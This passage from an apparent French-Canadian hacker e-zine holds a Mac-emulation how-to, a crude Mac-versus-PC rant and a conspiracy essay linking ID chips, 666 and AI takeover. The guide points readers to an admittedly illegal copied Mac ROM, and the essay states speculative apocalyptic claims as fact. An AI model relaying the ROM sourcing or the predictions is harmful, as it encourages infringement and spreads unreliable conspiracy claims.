       programme sous Windows.
     - Parce quon peut reussir a utiliser du materiel MAC (Drives SCSI, Zipdisks)
     - Parce quon veut rouler des applications MAC ONLY 
     - Parce quon veut coder sous mac?
     - Parce quon veut tester les trucs a Bozzo :}

     Bon il reste que c'est bien de rouler un MAC sur un PC si on a le gout question
     d'etre polyvalent pas mal. Mac apres-tout cest un monde en soit. Il y a surement
     une chose ou deux a y trouver. Alors voila comment on doit se prendre.

     Pour emuler un MAC il faut se dire tout dabord qu'a letat present de l'emulation
     on va pouvoir runner un M68k(equivalent 486) car le POWERPC(Equivalent Pentium)
     n'est pas encore disponible (ce n'est qu'une question de temps a mon avis).
     Vous me direz que 486 cest pas beaucoup :) Je vous repondrez que APPLE a tjours
     aimer nous dire que son MAC roule mieux a egale vitesse qu'un PC. C'est vraiment
     le cas aussi(il faut pas oublier que le MAC roule monotask pas mal, cest normal
     que ca demande moins). Donc en gros ca vaut la peine si vous voulez faire des 
     trucs. Si je me prend comme exemple, j'ai dernierement eu affaire a une disquette
     ZIP formatter en MAC qui contenait des fichiers TIFF(BMP Macien) pour un contrat
     de design. Mon Windows ne pouvait pas lire le contenu, quand j'utilisais un 
     programme de lecture MAC pour windows j'obtenais un mauvais resultat car les TIFF
     de MAC sont pas identique au TIFF PC. Alors je me suis dit que j'avais qu'a 
     prendre un programme MAC qui convertis mon TIFF en JPG (Multi-plateforme) et apres
     le reprendre via l'utilitaire de convertion MAC->PC. Resultat: BINGO ca fonctionner.
     J'ai pus en peu de temps transferer des fichiers TIFF de 12 et 20 megs en un 
     cour laps.  Bon vous voyez que ca fonctionne. Voici maintenant se qu'a mon avis
     vous aurez besoin du cote du hardware pour faire fonctionner l'emulateur MAC:

     - Un PC p2-233 avec au moins 32mo RAM 
     - un HD avec au moins 200 megs d'espace de libre

     C'est tout :)  le p2-233 est pas obligatoire mais sans ca , vous perdrez de
     la vitesse. Le 32mo de RAM quand a lui est tres souhaiter[dans le sens de 
     vraiment].

     Du cote Software vous aurez besoin de:

     - Windows98 ou NT comme OS de base.
     - Basilisk2 [emulateur MAC M68k]   --> http://gamma.nic.fi/~lpesonen/BasiliskII/
     - Une ROM M68K[MAC] de 1meg        --> Find-by-youself, its-illegal-to-copy-roms
     - MacOS 7.5.3                      --> Gratos sur www.apple.com
     - HFVExplorer                      --> Manager de files pour lire MAC sur PC
     - BootDisk Software MacOS 7.0      --> fichier disquette pour debuter l'install


     ---
     La ROM est pas disponible facilement parce que cest tres illegale parait-il :}
     Mais sachez que l'emulateur MAC , FUSION vient avec une ROM tres correcte.
     Allez le trouver sur le NET. Tant que votre ROM soit du modele: 

               -68020
               -68030
               -68040


     Pour le site d'APPLE exacte ou downloader MAC-OS 7.5.3 le voici:

     **** http://www.apple.com/dd
                                        
                                           --Downloader le en [BINEX].


     Le programme HFVExplorer [obligatoire] est trouvable a:

     *** http://www.toto.com


     Le Bootdisk Software MacOS 7.0 est trouvable a:

     *** http://www.sickboy.com

     ---

     Vous avez tout? Parfait commencons, dezipper Basilisk2 dans un repertoire,
     par exemple: C:\MAC, faite pareil pour la ROM, le bootdisk Software et HDFExplorer.

     Voici les prochaines etapes a faire:


     1. Creer un fichier-partition MAC-OS {sans repartitionner reelement}
     2. Configuration de la ROM et de la MEMOIRE
     3. Configuration de l'ecran et du son
     4. Configuration du reseau , du modem 
     5. Premier Bootage et explication de MAC-OS
     6. Utilisation de MAC-OS de facon standart
     7. Mot-de-fin 



     --------------------------------------
     1. Creer un fichier-partition MAC-OS
     --------------------------------------

     Pour bien emuler notre MAC on va devoir creer une fausse-partition qui
     sera en realit stocker dans un fichier sous windows. un fichier de 100
     a 200 megs par exemple. Pour ce faire vous aurez besoin du programme
     HFVExplorer. Charger le programme , ca peut prendre 60 secondes car
     il prend le temps de detecter tout vos peripheriques, l'avantage d'un
     tel programme est biensur qu'il lis directement le format MACINTOSH,
     c'est a dire les partitions macintosh sur HD, Zipdrive, Cdrom, disquette
     et vous permez ainsi d'importer/exporter l'information. Ici on prend
     en ligne de compte que vous avez tout downloader le stuff requis :)


     Etapes:

     1) Allez dans le menu [F]iles et utiliser l'option FORMAT NEW VOLUME
        et ici je vous vois venir. NON IL NE FORMATTERA PAS VOTRE DISQUE
        DURE et NON IL NE VA PAS CREER UNE NOUVELLE PARTITION PAS EFFACABLE :)

     2) Specifier votre volume name: (ie:MACHD), Dans volume size utiliser
        200megs ou au pire 150. dans le path sauvez votre fichier-partiton
        MAC a quelque part en format HVF et non pas en format DSK.

        La difference est simple, HVF = Partition disque dure, DSK = Disquette.


     3) A l'aide de l'interface , fabriquez-vous un sous-repertoire sur
        votre nouvelle partition MAC, nommez le MACOS7 et deplacer a l'interieur
        tout les fichiers MAC OS 7.5.3 que vous avez downloadez via APPLE.



     -------------------------------------------
     2. Configuration de la ROM et de la MEMOIRE
     -------------------------------------------

     Executer BasiliskIIGui.exe pour obtenir le menu de configurations
     avant d'executer directement en mode MACOS. Allez sous le signet
     memory. Allouez un minimum de 16megs RAM si vous voulez atteindre de 
     bonne performances. Soyez intelligent et n'allouez pas se que vous
     n'avez pas. Par exemple si je posede 64megs ram, 32megs d'allocation
     serait parfait. Mais pas 64, mon Windows utilise deja une partie de
     la memoire. Dans le ROM PATH inserez votre fichier Fusion.ROM.

     Vous devriez voir apparaitre plus bas:

     ROM TYPE: 32-Bit Clean Mac || ROM (512KB/1MB)
     ROM Checksum (from ROM file) : FF7439EE
     ROM Checksum (calculated)    : FF7439EE

     Si tout s'est bien passer allez dans l'onglet General:

     Configurez cela comme ceci:

          - Boot drive: 0
          - Boot driver: 0 Boot from first bootable volume
          - Model ID: 5 (Mac llci)
          - Cocher FPU Enabled
          - CPU: 68030

            (En veriter vous roulerez en 68040)


     -------------------------------------------
     3. Configuration du display/son
     -------------------------------------------


     Pour se qui est du SON par defaut il est tout bien configurer, il
     utilise directement les drivers Windows. A notez que Basilisk2 ne
     supporte pas tout les modeles de carte de son, j'ai pus tester 2
     modeles, soit la ANALOG DEVICES (qui ne marche pas) et la Creative
     LIVE 128 (Qui marche). Donc si vous avez voulu economisez vous
     allez devoir vous en passez. 

     Maintenant, pour le graphisme. Allez dans l'onglet :SCREEN

     Configuration :

     Screen type: Direct X [in a window ]
     Screen width/Height : 640 x 480
     Colors     : Thousands (15-bit)

     Miliseconds between frames: 12

     Pour les utilisateurs de windows200/NT4, vous pourrez
     plus amplement jouer avec ca plus tard :)

     A notez qu'il est plus conseiller de rouler MAC OS en mode fenetrer
     car vous pourrez en tout temps faire alt-enter pour tomber en pleine
     ecran et si cela plante au moins votre interface graphique n'en subira
     pas trop les consequences.




     -------------------------------------------
     4. Configuration du reseau/modem
     -------------------------------------------


     Pour se qui est du reseau, je n'ai pas tout a fait encore jouer
     avec cela mais ca offre en gros le support TCP/IP via une carte
     reseau. Se qui serait kewl effectivement. Vous pourriez avoir 2
     IP sur un reseau , un pour le MAC et un pour le PC et passer par
     le PC pour allez sur internet avec le MAC sans utiliser le modem 
     au cas ou le modem justement n'est pas tres fonctionnel :}

     Quand au modem, par defaut le modem est supporter comme etant natif, 
     donc aucun setting trop complexe. Onglet PORTS s.v.p, vis-a-vis
     MODEM PORT choisissez le COM de votre Modem, pour bien du monde
     le COM cest le 3, surtout si vous avez un modem AOPEN.
     Vous voyez quil supporte le COM 5 et 6 se qui rend l'utilisation
     des winmodems cheaps like Motorola utilisable. Vous remarquerez
     aussi que vous pouvez configurer un imprimante, par defaut le port
     est LPT1. J'ai personnelement deja reussi a allez sur IRC via
     IRCle , un IRC client Macintosh via l'emulation :) [eurk]

 

     -------------------------------------------
     5. First Boot
     -------------------------------------------


     Avant de relancer le GUI assurez vous que le fichier cdenable.vxd a ete
     placer dans votre repertoire \windows\system si vous voulez que le cdrom
     soit supporter dans l'emulation :) Par la suite dans le B2GUI allez dans
     l'onglet DISK. et ajouter votre disque MAC (.hfv) de tout a l'heure 
     (celui que vous avez creer). Si vous avez du stuff Floppy/cdrom/SCSI.
     ca se configure pas mal de la meme facon :)
     Ajouter dans disk, System70_boot.dsk et assurer quil soit placer au dessus
     de votre fichier .hfv pour quen fait MAC boot sur le System70_boot.dsk en
     premier. Ici se fichier represente en fait une disquette bootable minimale.

     Bon Maintenant LE PREMIER BOOT :)

     RUN(f1)...

     Si tout va bien vous allez vous retrouvez dans un MAC noir et blanc laid :)
     A notez que MAC cest tjours laid. Vous allez voir a votre droite, 2 iconnes
     en particulier, le premier en haut represente votre disque bootable et la
     deuxieme votre disque dure (virtuel) MAC de 150-200mo. Clicker sur le 2-eme
     iconne. Allez dans votre repertoire MACOS7 et clicker sur le fichier executable.
     Cela va automatiquement monter une partition virtuel d'installation MACOS.

     Il ne vous restes plus qu'a installer MAC OS en suivant les instructions,
     utiliser le mode d'installation - CUSTOM - Universal.



     -------------------------------------------
     6. Utilisation standart
     -------------------------------------------


     Le premier repere dans le domaine du MAC cest les tools de base, un peu
     comme Winzip pour Windows , des tools de decompressions donc :) si on veut
     installer des programmes c'est l'evidence. Sous MAC un seul a fait ses
     preuves , je parle de ALADDIN EXPANDER , on drag nos fichiers ZIPPER dessus
     et PAF il decompresse le tout dans un repertoire sur votre desktop. 
     Donc voici le URL a ne pas oublier:

     www.versiontracker.com

     c'est l'equivalent de www.download.com pour PC (malgrer que download.com 
     fait aussi pour MAC). Installez-vous des outils et sur ca bonne chance :)


     -------------------------------------------
     7. Mot-de-fin
     -------------------------------------------


     Et Voila, pas plus compliquer que ca. Que devrions-nous pensez d'un OS qui
     fonctionne tres bien sous Windows. Apres on ira dire que MAC cest performant :}
     Malgrer qu'on peut aussi bien rouler windows sous Virtual PC pour MAC, bon
     j'ai rien dit. N'oubliez pas que le MAC que vous roulerez n'est qu'un
     emulation de 486 (equivalent) mais c'est deja tres bien. A notez qu'une version
     PPC (equivalent pentium) est deja en cours de production. Alors les MAC ACCRO
     be stuned for more to ..ah pis fuck vous connaisez le refrain :]

                                                                            

                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                   __2.Im.not.a.mac.addict       :  
 |                                                                                 :
 |_________________________________________________________________________________| 






 ===================================================================================================
                                                                                       Pub-O-sticker 
 sante et bien etre canada vous informes que blablablablablablablabla
 zavez dejas vus ca vous un hacker qui fume pas?
 
 ===================================================================================================





 ,---------------------------------------------------------------------------------,
 | [007]                                                                           |
 |                           Mes msaventures avec un Mac                          | 
 :                                 so called                                       :
 ;                            /invite apple #ANNES1990                            :
 ,                                                                                 .
 .    


     Introduction: jme suis trouv une job comme technicien dans une
     compagnie qui utilise exclusivement des macintosh dans ses
     bureaux. Jusqu'ici tout va bien. Mais ce qui compte, ce n'est pas
     la chute, c'est l'erreur systme qui va survenir.

     J'ai connu quelques gros tripeux de mac  l'universit (dont un
     certaint mr. Dub de Cap-Rouge, mamma mia qu'y tait fanatique
     lui)... Tellement convaincus de la supriorit incroyable de leur
     mac par rapport  Windows+Intel. Bon moi qui avait une exprience
     trs limite dans les macs j'tais tolrant, jme disais bof la
     diffrence c'est toujours une bonne chose et tant mieux si y'aime
     mieux son mac, moi j'aime mieux mon linux et windows sur PC.

     Mais maintenant que je commence  avoir une exprience considrable
     sur Mac, jpense qu'y est temps de remettre les pendules  l'heure
     et vous donner les outils pour vous dfendre la prochaine fois que
     vous rencontrerez un trippeux de mac!

     Avant de comparer, jveux dire une chose... Y'a deux niveaux
     compltement diffrents ou on peut faire la comparaison: Comparaison
     entre le Hardware Mac et le Hardware PC, et comparaison entre
     MacOS et Windows/Linux. Laissez JAMAIS un tripeux de macintosh
     mlanger ces deux discussions en une seule grosse discussion confuse
     parce qu'ils sont trs habiles  tout mlanger (exemple: Vous lui
     dites que sa souris a rienque 1 piton pis que c'est ridicule, y
     va vous rpondre que Windows est tellement laid qu'il a vomi dans
     le clavier. Vous lui rpondez qu'au moins un clavier PC ca coute 15$
     au lieu de 70$ pour un clavier Apple, y vous rpond que son CPU est
     ben plus performant que votre carte de son. Et si vous lui rpondez
     qu'au moins votre CPU vous pouvez l'overclocker dans des menu au
     lieu comme lui d're pogn pour ouvrir le case et teter aprs des
     jumper/dip switch ou meme changer des puces, il va vous rpondre
     que lui il peut ejecter sa disquette en software au lieu d'avoir a
     peser sur un piton, mais vous pouvez rpondre a ca que ca prend un
     fer a souder pour installer une lecteur de disquette dans un iMac
     ou G3/G4 serveur (http://www.imac-floppy.com/install.html), et la
     si y'a encore quekchose a dire ben riez.)
 
     Mais meme la, avant de comparer, jveux aussi dire une autre chose:
     Si votre MacTrippeux fait rfrence  des benchmarks qu'il a vu sur
     www.apple.com, oubliez ca! Apple a rcemment compar un iMac 400mhz
     a un Celeron 500mhz a Quake3 (www.apple.com/imac/techspecs.html),
     et ils ont trouv que le iMac faisait un meilleur score que le Celeron
     500! Great! Sauf que y'a un bug... Le Celeron a une carte vido
     ATI Rage Pro, qui date de 1997 et qui est franchement pas vargeuse
     cot performance avec les jeux de 1999 et 2000 comme Quake3 (demandez
      Qwzykx ou Netlord), tandis que le iMac a une ATI Rage 128, sortie il
     y a moins d'un an, et qui performe  peu prs aussi bien qu'une TNT!
     VIDEMMENT que le iMac gagne, maudite marde! Le test est truqu! Selon
     le gars qui a fait Quake3, Dieu lui-mme (A.K.A. John Carmack): "The
     G3 systems run fine, but a little slower than a pc of equal mhz. The
     rage128 cards in the G3s are only clocked at 75mhz, so you can't run
     too high of a resolution." (http://finger.frag.com/plans/1)

     Donc a propos des banchmarks, dites vous que Apple se gnent jamais
     pour faire comme ca. Si ils font un test et que c'est le PC qui gagne,
     ils vont tricher tant qu'y faudra jusqu'a ce que le Mac gagne. Le seul
     test ou je verrais un iMac battre un PC, c'est en acclration
     gravitationnelle dans un escalier, vu qu'il est rond il va dbouler
     plus vite que le PC carr et se rendre en bas en premier!

     Comparaisons Hardware:

     La grosse faiblesse avec les Macs, c'est qu'on a trs peu de choix sur
     le hardware. En ralit, le motherboard, le ram et le CPU sont tout a
     fait comparable  ce qu'on retrouve sur PC, et le concensus gnral
     parmis les gens objectifs est qu'a n'importe quelle poque donne,
     le plus fort processeur PowerPC est gnralement comparable au plus fort
     processeur Intel. Donc on peut dire vaguement qu'un G4 450 (le plus gros
     sur le march prsentement) est probablement  peu prs quivalent au P3
     600.

     Sauf que quelqu'un qui veut de la performance  Quake3 aura pas la
     possibilit de mettre une TNT2 Ultra, une G400 MAX, une Rage Fury MAXX
     ou une GeForce dans son Mac... ca existe pas. Les G3 beige et les vieux
     iMac viennent avec des Rage Pro (pourri), les nouveaux imacs 400mhz+
     viennent avec des Rage128 8meg (moyen) et les serveur G3 et G4 ont des
     Rage128 16megs (acceptable mais pas torcheux - demandez  Wyze).
 
     Au moins, pour les amateurs de programmes intensifs sur le HD comme
     Photoshop, les propritaires de iMac ont la possibilit d'upgrader leur
     systme de IDE  SCSI... C'est le genre de chose sur lesquelles souvent
     Apple laisse pas le choix... Ouf.

     Mais finalement je pense qu'il y a manire de se dbrouiller pour faire
     la job sur un Mac aussi bien que sur un PC, le hardware est gnralement
     capable de fournir... En fait cot hardware j'ai rien de ngatif 
     dire, a part peut-tre que Apple, comme toujours, chargent une fois et
     demie le prix vritable pour chaque ordinateur. Si quelqu'un veut un
     Mac de puissance comparable  un PC de 2000$, y peut s'attendre  payer
     3000$. Parfois c'est pire... Une carte processeur G3 300mhz coute
     environ 500$... Un Celeron 366 coute 75$. Un CD-Rom 24x de iMac (une
     criss de guenille de cdrom qui scrap tout le temps) coute 180$, un
     50x pour PC coute 60$.

     J'ai mont pour un ami (FreeQ) rcemment un systme double celeron 366
     avec moniteur 17 pouces, TNT2, 34 gigs de HD (!) UDMA66, pour  peu
     prs 1800$ avant taxes. Un bon kit quoi,  un bon prix. Pour avoir
     en mac quelque chose de vaguement quivalent cot performance Quake3,
     RC5, SETI ou Photoshop (oubliez pas c un double processeur, si t'as le
     RAM ca buche en crisse en SETI, RC5 ou Photoshop, surtout quand sont
     clocks  480mhz) en mac, faudrait un G4 serveur modle "Faster"
     (http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore?family=G4),
     qui vient avec une Rage128 AGP 16 megs (nettement moins bon pour Quake3
     mais demandez  Apple y vont vous dire que c mieux que la PCI du modle
     "Fast"), 20 gigs de HD UDMA33 seulement mais c'est quand mme respectable,
     mais pas d'cran. Si on met le mme cran que FreeQ (Optiquest Q71) on
     rajoute 350$ et donc notre systme quivalent Mac coute environ 4200$
     canadiens avant taxes.

     4200$ pour un systme quivalent  un PC de 1800$? Excusez moi je
     retire ce que j'ai dit, Apple chargent pas 1.5 fois le prix, y chargent
     plus 2.5 fois le prix que ce que leurs ordinateurs valent vraiment!

     Mais peu importe. Un coup qu'on a fini de comparer le hardware et
     qu'on voit qu' condition de payer plus cher, y'a moyen d'avoir un
     mac  peu prs quivalent  un PC, on arrive  la comparaison du
     software, surtout entre les OS MacOS et Windows, pis c'est la que ca
     fait mal.

     Comparaison OS:

       Multitasking:

     Grosso modo MacOS supporte  peu prs pas le multitasking. MacOS on
     dirait un espce de DOS avec une interface graphique. Quand un
     logiciel Mac s'xcute, il a le contrle total de la machine pour lui
     tout seul. Les autres applications et le OS vont avoir la possibilit
     de faire leur travail seulement si le programme est "gentil" et leur
     donne rgulirement la chance de prendre quelques cycles de CPU.
     Si notre programme veut empcher toutes les autres applications de
     fonctionner, c'est trs facile, il a juste  garder le contrle complet
     de l'ordinateur pour lui tout seul et jamais le redonner. Jusqu' MacOS
     8 par exemple, le programme qui s'occupe de copier des fichiers tait
     fait comme ca: Pour copier le plus rapidement possible, il gardait le
     contrle complet de l'ordinateur pendant la copie. Aucun autre programme
     ne fonctionne, impossible de cliquer sur quoi que ce soit a part dans
     la fentre du Copy, pour faire Annuler par exemple. Un autre exemple
     classique est que si vous tenez le piton de la souris (si vous savez
     pas lequel c pas dur de chosir y'en a rienqu'un) enfonc sur un menu,
     un icone ou une scrollbar, alors TOUT est arret dans l'ordinateur,
     aucune application n'avance, l'horloge arrte, les downloads arrtent,
     l'entire puissance de tout un ordi est consacre  attendre que vous
     vouliez bien lacher le piton. Whooo tu parle d'un multitasking
     impressionnant.

     Le multitasking on peut oublier ca de toutes faons, par exemple si
     je fais une job difficile comme compiler un programme et que je switch
     a une autre fentre, le compilateur va prendre de 5 a 10 fois le temps
     qu'il prendrait si je l'avais laiss en fentre active.

     Pour comparer  Windows, on n'a plus vu cette faon de fonctionner depuis
     1995 et l'poque de Windows 3.1. Il existe un concept en design de
     systmes d'exploitation qui s'apelle le "Pre-emptive Multitasking".
     La diffrence entre un systme pre-emptive et un qui l'est pas, c'est que
     dans le systme pre-emptive c'est le OS qui a le contrle de combien de
     temps chaque application a le droit de garder le CPU. Par exemple, sous
     Windows 95 ou Linux, les applications n'ont pas  s'occuper de redonner
     le contrle du CPU au OS aprs quelques fractions de secondes, car c'est
     Windows (ou Linux) qui va lui enlever le contrle quand il va juger qu'il
     l'a eu assez longtemps. Le rsultat est ce a quoi on est habitus sous
     Windows... On peut aller sur IRC en compressant un mp3 sans avoir peur
     que le mp3 prenne 45 minutes  compresser, on peut continuer de se
     promener dans Explorer pendant que winzip travaille sans que ca prenne
     le triple du temps, etc etc...

       Protection de la mmoire:

     Une autre chose qui date de Windows 3.1... Quelqu'un se rapelle des
     General Protection Fault? parfois on savait pas trop pourquoi mais y'avait
     un dialogue qui aparaissait et qui disait genre "General Protection Fault,
     press OK to shutdown Windows" - impossible de switcher aux applications
     en cours pour sauver son travail ou rien d'autre. Fini mort dead goodbye.
 
     Windows 95 a ptet pas tout a fait regl le problme, mais au moins y l'ont
     rendu moins pire... Maintenant, on se fait dire "Le programme X a fait
     une opration illgale et va tre termin immdiatement", mais on a pas
     besoin de tout rebooter l'ordi, les autres applications sont safe...

     Mais sous MacOS la encore on est toujours au niveau de Windows 3.1...
     "Une erreur systme est survenue. Cliquez ici pour redmarrer".
 
     Ce genre d'erreur arrive gnralement quand un programme essaye
     d'aller lire ou crire en dehors de la zone de mmoire qui lui a t
     rserve. Sous MacOS et Win3.1, qui n'implmentent pas vraiment une bonne
     gestion de la protection de mmoire, pour une raison que j'ignore ces
     erreurs font paniquer le systme. Windows NT et Linux sont totalement
     fiable quand ca arrive (Segmentation Fault = erreur de protection de
     mmoire), le programme se fait stopper net et le systme continue sans
     problme, et Windows 95/98 lui fait de son mieux et essaye de garder son
     calme et se contente de fermer le programme... Gnralement ca suffit,
     Mais il n'est pas rare qu'un programme buggy en train de crasher
     r-crive des zones de mmoire ne lui appartenant pas et rende le
     systme totalement instable... Mais dans le pire des cas faut rebooter,
     et c'est mieux d'avoir le choix que de jamais avoir la chance d'essayer
     de continuer comme en MacOS.

       Libert! Pitons!

     J'ai toujours trouv cool sous windows 95 que dans un dialogue open/save
     file, on puisse cliquer de la droite pour crer des rpertoires, effacer
     ou renommer des fichiers, etc.... C'est le genre de libert qui est partout
     dans windows, cliquer de la droite sur un peu n'importe quoi et obtenir
     plein d'options pratiques... Cliquez de la droite sur un item du start
     menu dans windows 95 et draguez le sur votre barre Quicklaunch pour
     faire un beau shortcut, Cliquez de la droite sur un fichier dans un dialog
     et draguez le sur le desktop pour faire un ptit backup, cliquez de la droite
     sur un lien dans netscape ou IE et plein d'options apparaissent, genre
     save as, open in new window, etc etc... Et l'option Properties qui est
     sur  peu prs tout... Properties de la task bar, du desktop, du start
     menu, pour chaque icone, pour les fichiers, les repertoires, les drives,
     les toolbars, toute! Pas besoin d'aller teter dans 10 mille menus, t'as
     tout  la porte de 1 click.

     Malheureusement, c pas comme ca sous MacOS. Dans les fentres Finder
     (homologue d'Explorer (je dis homologue parce que je dirais certainement
     pas quivalent! c rienque un ti prog hyper simple) on peut tenir CTRL
     enfonc en cliquant sur un fichier, et on va avoir quelques petites
     options qui vont apparaitre... Gnralement ben moins qu'en windows,
     par exemple esprer pas changer grand chose, mais au moins y'a quelques
     options.

     Et pour rester dans le sujet des pitons... Y'a tu 1 seule personne sur
     terre capable de donner 1 osti de raison pourquoi y'a rienque 1 osti de
     piton sur une souris Mac??!? osTI que c pas pratique! tout le temps en
     train de tenir CTRL SHIFT ou ALT (ou pomme, ou guidi tordu, whatever) pour
     faire des options de base... J'ai jou  Warcraft2 sur Mac une fois... Moi
     je suis habitu d'utiliser le clavier pour donner des ordres fucks,
     selectionner des groupes et finalement ma main sur le clavier est trs
     active tout le temps, ce qui me permet d'tre plus efficace... Demandez
      Wyzeman y'aimait ben me voir aller  Starcraft en mode usine  Zerg :)
     Mais sur Mac, si en plus falait que je me mette a tenir ALT enfonc 
     chaque fois que je veux simuler un deuxime bouton pour donner un ordre
      une unit, ca commencerait  tre laid!

     Aussi, sur le plan de la souris et du user-friendlyness, on dirait que
     tout est plus long sur un Mac que sur un Windows, pour faire des
     tches de base. Il faut toujours plus de clics de souris, plus de tetage
     d'une fentre  l'autre, plus de temps. Par exemple pour switcher d'une
     application  l'autre, sur Windows il suffit de cliquer sur le bouton de
     la taskbar en bas. Ou si nos mains sont sur le clavier, alt-tab. Rien
     de plus simple! Sur Macintosh, faut aller cliquer sur le ptit Icone en
     haut a droite, attendre que le menu des applications en cours apparaisse,
     et la on descend le curseur et on choisit l'application qu'on veut voir.
     Si on a 15 fentres ouvertes et qu'on veut tout minimiser pour voir le
     desktop, ben on a le choix dans ce menu de faire "Masquer toutes fentres
     inactives" mais la fentre active va rester dans l'cran; il est
     impossible de tout minimiser d'un coup comme en Windows avec le bouton
     Show Desktop du Quicklaunch. Pour se dbarasser de la fentre active, on
     peut soit doublecliquer dessus (Je HAIS les double clics vive les
     tendinite) et alors elle va se transformer en barre horizontale inutile
     et agaante, ou on peut simplement la dplacer dans un coin pour plus la
     voir. Wow comme c'est user friendly. 3, 4, ou 5 clics pour faire  moiti
     ce qu'on pourrait faire en 1 clic sous Windows.

     Ou encore, le Control Panel. Sur Macintosh, ca s'apelle les Tableaux de
     bord, et c'est quelque part dans le Menu Pomme. Une espce de liste de 50
     items compltement mal classs, du genre que par exemple au lieu de
     regrouper toutes les options d'Affichage dans une seule fentre comme en
     Windows, ben t'a la fentre "Moniteur et Son" (y'auraient pu tre spars)
     et la fentre "Apparence" et la fentre "Gnral" (ouf y pourraient tu
     essayer d'tre moins clair)... Et y'a un device manager, sauf qu'on peut
     pas changer aucune option, juste lire et se demander Ou c'est tabarnak
     qu'on peut aller pour avoir accs  changer l'option. Pas question de
     cliquer de la droite (y'a rienque 1 piton anyway calisse) non plus!

       Microsoft  la rescousse!

     Une chance que Microsoft sont prsent sur mon macintosh. Leurs logiciels
     font plein de ptites affaires cool, et viennent avec plein de ptits
     utilitaires pour aider le Mac a tre aussi user-friendly qu'un Windows.
     Par exemple, Office vient avec un ptit utilitaire qui simule un Start
     Menu dans lequel on peut mettre les programmes qu'on utilise souvent.
     Un autre aussi qui permet de faire alt-tab pour se promener d'une
     application  l'autre. Aussi, Internet Explorer a l'option gniale
     que si tu tiens le piton de la souris enfonc sur un link plus d'une
     demi seconde, alors un menu apparat comme si on avait cliqu sur le
     deuxime piton d'une souris PC.

       Conclusion

     Riez.

       Conclusion 2:

     Les 2 choix intelligents pour upgrader:

     1) Double Celeron + Windows2000. Vive Quake Vive le prix vive la stabilit.
     2) K7 700 + Linux. Fuck apple fuck microsoft fuck intel.

                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                       Qderf.teletobies          :  
 |                                                                                 :
 |_________________________________________________________________________________| 
                                                                             





 ===================================================================================================
                                                                                       Pub-O-sticker 
  remove cap and protective seal. Slowly twist dial undit a small amount of product 
  appears through applicator.Apply thin layer to underarm. Gel may temporarily haze 
  at extreme temperature, vut performance is unaffected. WARNING, DO NOT USE ON
  BROKEN SKIN. IF A RASH DEVELOPS DISCONTINEUSE. KEEP OUT OF CHILDREN'S REACH.
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [008]                                                                           |
 |                             La bete de l'apocalypse.                            | 
 :                                 so called                                       :
 ;                       habitez vous encore chez vos parents?                     :
 ,                                                                                 .
 .    
                    

     Vous vous rappeler du bon vieux big brother look at you ?
     Et bien non detromper vous, il n'est pas partit bien loin ces
     dernieres annees, en fait, il se refesait une beautee. Le
     monde a changer depuis le bon vieux temps, aujourd'hui de
     nombreux system sont mit en oeuvre afin que l'etat saute sur
     vos premier signes d'hors la loi genetique. Mais ce n'est que
     le debut d'une longue saga, car apres tout notre grand frere
     vois grand, il voit le monde...

     Dans un futur rapprocher, chaques etre humains sur terre se
     verra attribuer un code qui lui est probre, ce code qui sera
     tatouer invisiblement sur le frond, sur la main ou meme inscrit
     a l'interieur d'une minuscule puce sous votre peau qui permettra
     de vous identifier rapidement et ce pour votre plus grand plaisir!

     Enfait vous ne trainerer plus d'argent sur vous, ni meme de permis
     de quelques sortes et oui, ces bons vieux 25c seront dorenavent vu
     comme un moyen d'echange primaire. Dans ce futur vos compte seront
     remplis dans un ordinateur central ou votre bon credit sera placer
     en toute securite, bien sur! Donc a votre
     visite au super marcher, vous prenner vos vivres et pour payer
     vous il ne vous suffira que de donner une pognier de main a une
     machine, mais quel belle preuve de coabitation. Bien sur
     l'avantage sera total pour tous, le citoyen moyen n'aura plus
     besoin de trainner argent ou clefs, son code sera unique.
     Et les gouvernements pourront exercer de facon rapide et efficace
     leurs lois. Le crime sera diminuer car vous nepourrez plus
     achetter quoi que ce sois sans que votre presence sois logguer
     a quelque part. Et ou etiez vous le soir du 26 Novembre ? rien
     de plus simple a savoir, il suffit de consulter vos allez et
     venu, plus de faux alibie, a notee que dans la verssion 2.0 de
     cette doctrine, une puce de positionnement sera surement
     integree a votre organisme, encore une fois pour votre propre
     securite!

     Le monde deviendra un havre de paix ou sommeillera en chacun un
     desir de revolte. Le suicide augmentera de facon expodentiel
     car tous clamerons sans sece : ces la faute du system... et apres
     tout il auront peut etre raison. Des clans anti-technologie
     feront surfaces de plus en plus, ces deserteurs de la paterie
     ne seront pas de taille contre un gouvernement qui controle
     les besoin essentiels, secondaires et superflus. La defaite est
     plus qu'iminante. Et l'homme a un pied dans la porte d'un
     gouvernement terrestre unique se battent non pas contre des
     pays mais bien contre des minorites non conformiste. Nous
     devienderons du betail produit en serie servant a engresser
     l'economie mondial dans dire un mot.

     Et se code, il sera compose de 3 sequence de 6 chiffres d'ou
     l'analogie avec la bete de l'apocalypse : 666
 
     "shall make all, both little and great, rich and poor, freemen and slaves, to receive a
     mark on their right hands, or on their foreheads, and that none might buy or sell, unless he
     carried this mark, which was the beast's name, or the number that stands for his name.
     Here is wisdom. He that has understanding, let him count the number of the beast. For it is
     the number of a man: and the number of him is six hundred and sixty-six."
                                                                                                     
     (Apoc. 13:16-18)

     En effet l'antechriste frappe a nos portes, mais pas comme on
     l'avait prevus, ce dieu imposteur ne prendra pas la forme d'un
     homme au pouvoir surnaturel mais plutot d'une machine au
     capacitee surnaturel. Tout le monde verra en elle le dieu promis,
     la creation meme du genie humains qui deviendra la perte de
     celui-ci. Cette machine sera controler par l'homme pour encore
     combien de temps ... car des la creation de l'I.A. , qui sera
     surement le virus le plus meurtrier de la trerre, il ne faudra
     a celui-ci que peu de temps avant de s'appercevoir qu'il lui
     est facile d'obtenir le trone du pouvoir dans un monde ou
     etre au sommet est l'accomplissement. Des lors l'homme sera
     esclave de sa creation (si ce n'est pas deja le cas). Encore
     des menaces et nous obeirons sans poser de question.
     L'histoire se repette sans scece. Ce dieu immortel prendra le
     relai de l'existance humaine afin de partir a la decouverte
     des mondes. En trainant avec lui des genes humains car apres
     tout on ne sais jamais...

     J'hallucine? non il suffit d'aller chez nos voisin du sud pour
     s'appercevoir que notre ami Bill C. projete la conception d'un
     tel code propre a chaques personne qui lui sera universel
     (permis de conduire, dossier medical, club video...)
